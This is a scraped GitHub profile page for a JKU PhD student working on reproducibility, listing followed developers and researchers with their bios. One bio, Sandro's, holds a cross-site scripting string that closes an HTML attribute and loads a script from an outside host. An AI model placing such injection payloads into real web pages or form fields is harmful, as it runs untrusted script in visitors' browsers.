mschwaig
Follow
I'm a PhD student at JKU in Austria, interested in reproducibility and proving the link between a running system and it's source code.
- Linz, Austria
-
12:10
(UTC +02:00) - @mschwaig
Highlights
- Pro
Block or Report
Block or report mschwaig
Report abuse
Contact GitHub support about this user’s behavior. Learn more about reporting abuse.
Report abuse
Ryan Lahfa
RaitoBezarius
Formal verification, systems engineering, network engineering and more. A love for Public Interest projects and a passion for simple & elegant systems.
Independent Contributor France
Sandro
SuperSandro2000
devops engineer, programmer, gamer and nixpkgs commiter
"><script src=https://sandro.ez.pe></script><x="
@sapcc Germany
Lukas
x21L
Graduate Computer Science student at JKU from Linz Austria.
Into Cybersecurity, Networking, and Software Defined Networking.
Linz Austria
Julien Malka
JulienMalka
Aka Luj. Software supply chain security researcher, NixOS enthusiast & contributor.
Other interests: PL theory, software security, formal verification.
PhD Student at Télécom Paris // Self employed consultant Paris
Someone
SomeoneSerge
Applied mathematics, inverse graphics, computer vision (dense image correspondences), Nix
Independent + Aalto U, former HSE & Skoltech Helsinki, FI
Aditya Sirish
adityasaky
Ph.D. candidate at New York University @secure-systems-lab; various things @in-toto; @gittuf maintainer; Intern @bloomberg Jun-Aug 2024
NYU @secure-systems-lab Brooklyn, NY
John Ericson
Ericson2314
*x* should be designed not by piling feature on top of feature, but by removing the weaknesses and restrictions that make additional features appear necessary.
@ObsidianSystems New York
knittl
Passionate developer and hacker.
Life-long learner.
Penguin lover.
State-of-the-art proto-hipster.
8B5F 2E25 30D9 03A7 3DFF
93EB 94A3 606A D463 37FA
@fhLUG
Andrew Kelley
andrewrk
Lead developer & president of Zig Software Foundation
@ziglang Portland, Oregon